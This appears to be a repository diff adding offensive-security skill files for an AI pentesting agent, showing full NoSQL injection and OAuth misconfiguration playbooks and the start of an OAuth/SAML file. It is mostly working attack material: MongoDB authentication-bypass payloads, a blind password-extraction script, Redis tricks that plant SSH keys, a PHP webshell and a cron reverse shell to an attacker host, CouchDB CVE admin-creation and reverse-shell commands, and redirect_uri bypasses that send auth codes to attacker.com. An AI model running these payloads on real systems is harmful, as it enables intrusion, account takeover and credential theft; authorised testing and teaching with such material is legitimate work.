- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: nosql-injection
|
|
5
|
+
description: NoSQL injection testing — MongoDB operator injection, authentication bypass, blind injection, Redis command injection, and CouchDB exploitation techniques
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# NoSQL Injection
|
|
9
|
+
|
|
10
|
+
NoSQL injection = inject operators into JSON/BSON queries to bypass authentication, extract data, or execute commands. Most common: MongoDB `$ne`, `$gt`, `$regex`, `$where`.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## MongoDB Injection
|
|
15
|
+
|
|
16
|
+
### Authentication Bypass
|
|
17
|
+
|
|
18
|
+
# Login form sends: {"username": "admin", "password": "secret"}
|
|
19
|
+
|
|
20
|
+
# Method 1: $ne operator (not equal) — bypass password:
|
|
21
|
+
# HTTP POST (JSON body):
|
|
22
|
+
{"username": "admin", "password": {"$ne": ""}}
|
|
23
|
+
# OR:
|
|
24
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
25
|
+
|
|
26
|
+
# URL-encoded (application/x-www-form-urlencoded):
|
|
27
|
+
username=admin&password[$ne]=invalid
|
|
28
|
+
username=admin&password[$gt]=a
|
|
29
|
+
username[$ne]=xxx&password[$ne]=xxx # Bypass both fields
|
|
30
|
+
|
|
31
|
+
# GET parameter:
|
|
32
|
+
GET /api/users?username[$ne]=xxx&password[$ne]=xxx
|
|
33
|
+
|
|
34
|
+
# If using JSON:
|
|
35
|
+
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}
|
|
36
|
+
|
|
37
|
+
### Operator Injection
|
|
38
|
+
|
|
39
|
+
# Available operators:
|
|
40
|
+
$eq, $ne, $gt, $gte, $lt, $lte # Comparison
|
|
41
|
+
$in, $nin # Array membership
|
|
42
|
+
$regex # Regular expression match
|
|
43
|
+
$where # JavaScript evaluation (dangerous!)
|
|
44
|
+
$exists # Field existence
|
|
45
|
+
|
|
46
|
+
# Extract data with $regex (blind/semi-blind):
|
|
47
|
+
# Test if username starts with 'a':
|
|
48
|
+
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
|
|
49
|
+
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
|
|
50
|
+
# Continue until full username recovered
|
|
51
|
+
|
|
52
|
+
# $where JavaScript injection (if enabled — disabled in MongoDB 4.4+):
|
|
53
|
+
{"$where": "this.username == 'admin' && sleep(2000)"} # Time-based blind
|
|
54
|
+
{"$where": "function() { return this.username == 'admin' }"}
|
|
55
|
+
|
|
56
|
+
### Automated Tool — nosqlmap
|
|
57
|
+
|
|
58
|
+
# Install: pip install nosqlmap --break-system-packages
|
|
59
|
+
# OR: git clone https://github.com/codingo/NoSQLMap /home/pentester/tools/nosqlmap
|
|
60
|
+
python3 /home/pentester/tools/nosqlmap/nosqlmap.py
|
|
61
|
+
|
|
62
|
+
# nosqli (simpler tool):
|
|
63
|
+
# pip install nosqli --break-system-packages
|
|
64
|
+
nosqli -u "http://target.com/login" -p "username=admin&password=INJECT"
|
|
65
|
+
|
|
66
|
+
### PHP-specific NoSQL Injection
|
|
67
|
+
|
|
68
|
+
# PHP arrays in form data:
|
|
69
|
+
# POST: username=admin&password[%24ne]=invalid
|
|
70
|
+
# PHP receives: $_POST['password'] = ['$ne' => 'invalid']
|
|
71
|
+
# MongoDB query: {username: "admin", password: {$ne: "invalid"}}
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## MongoDB Direct Exploitation (If Port 27017 Exposed)
|
|
76
|
+
|
|
77
|
+
# Check if MongoDB is exposed:
|
|
78
|
+
nmap -p 27017 <target> -sV
|
|
79
|
+
|
|
80
|
+
# Connect (no auth by default on older versions):
|
|
81
|
+
mongo <target>:27017
|
|
82
|
+
# OR:
|
|
83
|
+
mongosh <target>:27017
|
|
84
|
+
|
|
85
|
+
# MongoDB shell commands:
|
|
86
|
+
show dbs # List databases
|
|
87
|
+
use admin # Switch database
|
|
88
|
+
show collections # List collections
|
|
89
|
+
db.users.find() # Dump all users
|
|
90
|
+
db.users.find({}, {username:1, password:1}) # Specific fields
|
|
91
|
+
db.users.find().limit(10) # First 10 records
|
|
92
|
+
db.getUsers() # Get DB users (admin DB)
|
|
93
|
+
|
|
94
|
+
# With credentials:
|
|
95
|
+
mongosh "mongodb://admin:password@<target>:27017/admin"
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## Redis Command Injection (via SSRF or Direct Access)
|
|
100
|
+
|
|
101
|
+
If Redis is exposed or reachable via SSRF:
|
|
102
|
+
|
|
103
|
+
# Direct access (no auth):
|
|
104
|
+
redis-cli -h <target> -p 6379
|
|
105
|
+
|
|
106
|
+
# Redis commands:
|
|
107
|
+
INFO # Server info, version
|
|
108
|
+
KEYS * # List all keys
|
|
109
|
+
GET <key> # Get value
|
|
110
|
+
CONFIG GET dir # Working directory
|
|
111
|
+
CONFIG GET dbfilename # DB filename
|
|
112
|
+
|
|
113
|
+
# Redis RCE — write SSH key:
|
|
114
|
+
redis-cli -h <target>
|
|
115
|
+
> CONFIG SET dir /root/.ssh/
|
|
116
|
+
> CONFIG SET dbfilename authorized_keys
|
|
117
|
+
> SET key "\n\nssh-rsa AAAA...<attacker_pubkey>...\n\n"
|
|
118
|
+
> BGSAVE
|
|
119
|
+
|
|
120
|
+
# Redis RCE — write webshell (if web root known):
|
|
121
|
+
> CONFIG SET dir /var/www/html/
|
|
122
|
+
> CONFIG SET dbfilename shell.php
|
|
123
|
+
> SET key "<?php system($_GET['cmd']); ?>"
|
|
124
|
+
> BGSAVE
|
|
125
|
+
|
|
126
|
+
# Redis RCE via cron:
|
|
127
|
+
> CONFIG SET dir /var/spool/cron/crontabs/
|
|
128
|
+
> CONFIG SET dbfilename root
|
|
129
|
+
> SET key "\n\n* * * * * bash -i >& /dev/tcp/<attacker>/4444 0>&1\n\n"
|
|
130
|
+
> BGSAVE
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## CouchDB Exploitation
|
|
135
|
+
|
|
136
|
+
# Discovery:
|
|
137
|
+
nmap -p 5984 <target>
|
|
138
|
+
|
|
139
|
+
# CouchDB API (no auth by default on older versions):
|
|
140
|
+
curl http://<target>:5984/ # Version info
|
|
141
|
+
curl http://<target>:5984/_all_dbs # List databases
|
|
142
|
+
curl http://<target>:5984/_users/_all_docs # List users
|
|
143
|
+
curl http://<target>:5984/<db>/_all_docs # All documents
|
|
144
|
+
|
|
145
|
+
# CVE-2017-12635 — Admin account creation (no auth):
|
|
146
|
+
curl -X PUT http://<target>:5984/_users/org.couchdb.user:hacker \
|
|
147
|
+
-H "Content-Type: application/json" \
|
|
148
|
+
-d '{"type":"user","name":"hacker","password":"hacker","roles":["_admin"],"_id":"org.couchdb.user:hacker"}'
|
|
149
|
+
|
|
150
|
+
# CVE-2017-12636 — RCE via query_servers:
|
|
151
|
+
curl -X PUT http://admin:admin@<target>:5984/_config/query_servers/cmd \
|
|
152
|
+
-d '"bash -i >& /dev/tcp/<attacker>/4444 0>&1"'
|
|
153
|
+
# Trigger: create a design doc with map function
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Blind NoSQL Injection (Response-Based)
|
|
158
|
+
|
|
159
|
+
# Boolean-based: different response for true vs false condition
|
|
160
|
+
# True condition (admin exists):
|
|
161
|
+
{"username": "admin", "password": {"$ne": "xxx"}} # → login success
|
|
162
|
+
|
|
163
|
+
# False condition:
|
|
164
|
+
{"username": "admin", "password": "wrongpassword"} # → login fail
|
|
165
|
+
|
|
166
|
+
# Extract field character by character with $regex:
|
|
167
|
+
python3 -c "
|
|
168
|
+
import requests, string
|
|
169
|
+
|
|
170
|
+
url = 'http://target.com/login'
|
|
171
|
+
charset = string.printable
|
|
172
|
+
|
|
173
|
+
def check(regex):
|
|
174
|
+
r = requests.post(url, json={'username': 'admin', 'password': {'\$regex': regex}})
|
|
175
|
+
return 'Welcome' in r.text # Adjust success indicator
|
|
176
|
+
|
|
177
|
+
password = ''
|
|
178
|
+
while True:
|
|
179
|
+
found = False
|
|
180
|
+
for c in charset:
|
|
181
|
+
if check(f'^{password}{c}'):
|
|
182
|
+
password += c
|
|
183
|
+
print(f'Password so far: {password}')
|
|
184
|
+
found = True
|
|
185
|
+
break
|
|
186
|
+
if not found:
|
|
187
|
+
print(f'Final password: {password}')
|
|
188
|
+
break
|
|
189
|
+
"
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## Pro Tips
|
|
194
|
+
|
|
195
|
+
1. Try `password[$ne]=x` in URL-encoded forms — many developers forget to sanitize array input
|
|
196
|
+
2. `$regex` operator enables character-by-character data extraction (like SQL LIKE)
|
|
197
|
+
3. MongoDB without auth on port 27017 = full database dump in seconds
|
|
198
|
+
4. Redis write access → SSH key injection or webshell = reliable RCE path
|
|
199
|
+
5. CouchDB CVE-2017-12635 admin creation is still valid on many unpatched instances
|
|
200
|
+
6. If `$where` works → JavaScript eval = time-based blind injection via `sleep()`
|
|
201
|
+
|
|
202
|
+
## Summary
|
|
203
|
+
|
|
204
|
+
NoSQL injection = operator injection in JSON: `{"password": {"$ne": ""}}` bypasses auth. MongoDB: try `$ne`, `$gt`, `$regex` operators in login forms. Direct MongoDB on 27017 (no auth) = dump all databases immediately. Redis on 6379 = write SSH key for RCE. CouchDB = check CVE-2017-12635 admin creation endpoint.
|
|
@@ -0,0 +1,220 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# OAuth 2.0 / OpenID Connect Misconfigurations
|
|
4
|
+
|
|
5
|
+
Test OAuth flows for open redirect ATO, state bypass, token leakage, PKCE bypass, implicit flow abuse.
|
|
6
|
+
|
|
7
|
+
## Phase 1: Reconnaissance
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
# Discover OAuth endpoints:
|
|
11
|
+
curl -s "https://target.com/.well-known/openid-configuration" | jq .
|
|
12
|
+
curl -s "https://target.com/.well-known/oauth-authorization-server" | jq .
|
|
13
|
+
curl -s "https://target.com/oauth/.well-known/openid-configuration" | jq .
|
|
14
|
+
|
|
15
|
+
# Extract key endpoints:
|
|
16
|
+
OIDC=$(curl -s "https://target.com/.well-known/openid-configuration")
|
|
17
|
+
echo "Auth endpoint: $(echo $OIDC | jq -r '.authorization_endpoint')"
|
|
18
|
+
echo "Token endpoint: $(echo $OIDC | jq -r '.token_endpoint')"
|
|
19
|
+
echo "JWKS: $(echo $OIDC | jq -r '.jwks_uri')"
|
|
20
|
+
|
|
21
|
+
# Find client_id in JavaScript source:
|
|
22
|
+
curl -s "https://target.com/" | grep -oE 'client_id["\s:=]+["\x27][a-zA-Z0-9_-]+["\x27]'
|
|
23
|
+
curl -s "https://target.com/static/app.js" | grep -oE '"client_id":"[^"]+"'
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## Phase 2: Open Redirect → Account Takeover
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# If redirect_uri is loosely validated, steal auth code:
|
|
32
|
+
|
|
33
|
+
# Test open redirect with different bypass techniques:
|
|
34
|
+
CLIENT_ID="known_client_id"
|
|
35
|
+
AUTH_ENDPOINT="https://auth.target.com/oauth/authorize"
|
|
36
|
+
|
|
37
|
+
# Technique 1: Extra path after allowed URI:
|
|
38
|
+
EVIL_REDIRECT="https://allowed.target.com/callback/../../../attacker.com"
|
|
39
|
+
curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$EVIL_REDIRECT&response_type=code"
|
|
40
|
+
|
|
41
|
+
# Technique 2: Parameter pollution:
|
|
42
|
+
EVIL_REDIRECT2="https://allowed.target.com/callback?redirect=https://attacker.com"
|
|
43
|
+
curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$EVIL_REDIRECT2'))")"
|
|
44
|
+
|
|
45
|
+
# Technique 3: Allowed domain as subdomain of attacker:
|
|
46
|
+
# allowed: target.com → try: target.com.attacker.com
|
|
47
|
+
EVIL_SUB="https://target.com.attacker.com/callback"
|
|
48
|
+
|
|
49
|
+
# Technique 4: URL fragment bypass:
|
|
50
|
+
EVIL_FRAG="https://allowed.target.com/callback#@attacker.com"
|
|
51
|
+
|
|
52
|
+
# Technique 5: Wildcard abuse:
|
|
53
|
+
# If allowed: https://app.target.com/* → try: https://app.target.com/redirect?url=attacker.com
|
|
54
|
+
|
|
55
|
+
# Test each:
|
|
56
|
+
for redirect in "$EVIL_REDIRECT" "$EVIL_REDIRECT2" "$EVIL_SUB" "$EVIL_FRAG"; do
|
|
57
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
58
|
+
"$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$redirect")&response_type=code")
|
|
59
|
+
echo "$STATUS → $redirect"
|
|
60
|
+
done
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Phase 3: State Parameter Bypass (CSRF on OAuth)
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# No state parameter = CSRF attack on OAuth flow
|
|
69
|
+
# Attacker crafts authorization URL, victim clicks → attacker's code linked to victim account
|
|
70
|
+
|
|
71
|
+
# Test if state is required:
|
|
72
|
+
curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code" \
|
|
73
|
+
-w "%{redirect_url}"
|
|
74
|
+
|
|
75
|
+
# Test if state is validated (reuse state across sessions):
|
|
76
|
+
# 1. Initiate legit OAuth flow → capture state value
|
|
77
|
+
# 2. Craft URL with same state value in different session
|
|
78
|
+
# 3. Complete flow → check if code is accepted
|
|
79
|
+
|
|
80
|
+
# Test reuse of same state multiple times:
|
|
81
|
+
STATE_VAL="predictable_or_captured_state"
|
|
82
|
+
curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
|
|
83
|
+
# Second request with same state:
|
|
84
|
+
curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## Phase 4: Authorization Code Leakage
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Code in Referer header:
|
|
93
|
+
# When callback URL redirects to another page, code may be in Referer
|
|
94
|
+
|
|
95
|
+
# Check if code is logged or appears in URLs:
|
|
96
|
+
# After login, check page source for authorization codes:
|
|
97
|
+
curl -s "https://app.target.com/dashboard" -H "Cookie: SESSION" | \
|
|
98
|
+
grep -oE 'code=[a-zA-Z0-9_-]+'
|
|
99
|
+
|
|
100
|
+
# Test code reuse (should be single-use):
|
|
101
|
+
CODE="captured_auth_code"
|
|
102
|
+
# Use code once:
|
|
103
|
+
curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
104
|
+
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
|
|
105
|
+
# Try to reuse:
|
|
106
|
+
curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
107
|
+
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
|
|
108
|
+
|
|
109
|
+
# Code injection — test if arbitrary code can be submitted:
|
|
110
|
+
curl -s -X POST "https://app.target.com/oauth/callback" \
|
|
111
|
+
-d "code=attacker_code&state=valid_state"
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Phase 5: Token Endpoint Attacks
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Test client authentication bypass:
|
|
120
|
+
# Try submitting without client_secret:
|
|
121
|
+
curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
122
|
+
-d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
|
|
123
|
+
|
|
124
|
+
# Test implicit flow (response_type=token) — token in URL fragment:
|
|
125
|
+
curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=token" \
|
|
126
|
+
-w "%{redirect_url}" | grep -oE 'access_token=[^&]+'
|
|
127
|
+
|
|
128
|
+
# Scope escalation:
|
|
129
|
+
# Request higher scope than you're allowed:
|
|
130
|
+
curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&scope=openid+email+admin+write:all"
|
|
131
|
+
|
|
132
|
+
# Token refresh abuse (unlimited refresh):
|
|
133
|
+
REFRESH_TOKEN="captured_refresh_token"
|
|
134
|
+
for i in $(seq 1 5); do
|
|
135
|
+
NEW_TOKEN=$(curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
136
|
+
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=$CLIENT_ID" | jq -r '.access_token')
|
|
137
|
+
echo "Iteration $i: $NEW_TOKEN"
|
|
138
|
+
done
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Phase 6: PKCE Bypass (Mobile/SPA)
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
# PKCE protects public clients — test if verifier is actually checked
|
|
147
|
+
|
|
148
|
+
# Generate legitimate PKCE pair:
|
|
149
|
+
python3 -c "
|
|
150
|
+
import secrets, hashlib, base64
|
|
151
|
+
|
|
152
|
+
verifier = secrets.token_urlsafe(64)
|
|
153
|
+
challenge = base64.urlsafe_b64encode(
|
|
154
|
+
hashlib.sha256(verifier.encode()).digest()
|
|
155
|
+
).rstrip(b'=').decode()
|
|
156
|
+
|
|
157
|
+
print('verifier:', verifier)
|
|
158
|
+
print('challenge:', challenge)
|
|
159
|
+
"
|
|
160
|
+
|
|
161
|
+
# Step 1: Initiate with code_challenge:
|
|
162
|
+
# Step 2: Try to exchange code WITHOUT code_verifier:
|
|
163
|
+
curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
164
|
+
-d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
|
|
165
|
+
# Note: no code_verifier — if this succeeds, PKCE is not enforced
|
|
166
|
+
|
|
167
|
+
# Step 3: Try with wrong verifier:
|
|
168
|
+
curl -s -X POST "https://auth.target.com/oauth/token" \
|
|
169
|
+
-d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&code_verifier=wrong_verifier"
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Phase 7: Misconfigured Token Validation
|
|
175
|
+
|
|
176
|
+
```bash
|
|
177
|
+
# Test if access token from one app works on another:
|
|
178
|
+
APP1_TOKEN="token_from_app1"
|
|
179
|
+
# Use on app2:
|
|
180
|
+
curl -s "https://app2.target.com/api/user" \
|
|
181
|
+
-H "Authorization: Bearer $APP1_TOKEN"
|
|
182
|
+
|
|
183
|
+
# Test token audience (aud) confusion:
|
|
184
|
+
python3 -c "
|
|
185
|
+
import jwt, base64, json
|
|
186
|
+
|
|
187
|
+
# Decode without verification:
|
|
188
|
+
parts = '$APP1_TOKEN'.split('.')
|
|
189
|
+
payload = json.loads(base64.b64decode(parts[1] + '=='))
|
|
190
|
+
print('Audience (aud):', payload.get('aud'))
|
|
191
|
+
print('Issuer (iss):', payload.get('iss'))
|
|
192
|
+
print('Client ID:', payload.get('azp'))
|
|
193
|
+
"
|
|
194
|
+
|
|
195
|
+
# Test if expired tokens are still accepted:
|
|
196
|
+
# Capture old token, test 1 hour later:
|
|
197
|
+
curl -s "https://app.target.com/api/profile" \
|
|
198
|
+
-H "Authorization: Bearer EXPIRED_TOKEN"
|
|
199
|
+
|
|
200
|
+
# Test if token can be used across environments:
|
|
201
|
+
# Dev token on prod endpoint:
|
|
202
|
+
curl -s "https://api.target.com/v1/user" \
|
|
203
|
+
-H "Authorization: Bearer DEV_TOKEN"
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## Pro Tips
|
|
209
|
+
|
|
210
|
+
1. **Always check `redirect_uri` validation** — it's the most common OAuth bug (P1 severity)
|
|
211
|
+
2. **State = CSRF token** — missing/reusable state is exploitable if you can make victim visit URL
|
|
212
|
+
3. **Scope creep** — try requesting `admin`, `write:*`, `*`, `openid email phone address` in scope
|
|
213
|
+
4. **Look for code in Referer** — auth code in redirect URL gets leaked via Referer header to third-party resources
|
|
214
|
+
5. **PKCE on public clients** — SPAs and mobile apps should enforce PKCE; test without verifier
|
|
215
|
+
6. **Token audience** — access token for `api.target.com` shouldn't work on `app.target.com`
|
|
216
|
+
7. **implicit flow deprecated** — but still common; tokens in URL fragment are logged in browser history
|
|
217
|
+
|
|
218
|
+
## Summary
|
|
219
|
+
|
|
220
|
+
OAuth flow: discover endpoints via `.well-known` → grab client_id from JS → test redirect_uri validation (path traversal, subdomain) → check state requirement → test code reuse → test scope escalation → test PKCE enforcement → document redirect chain for ATO PoC.
|
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: oauth-saml
|
|
5
|
+
description: Exploitation techniques for OAuth 2.0, OpenID Connect (OIDC), and SAML 2.0 implementations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# OAuth 2.0 and SAML 2.0 Vulnerabilities
|
|
9
|
+
|
|
10
|
+
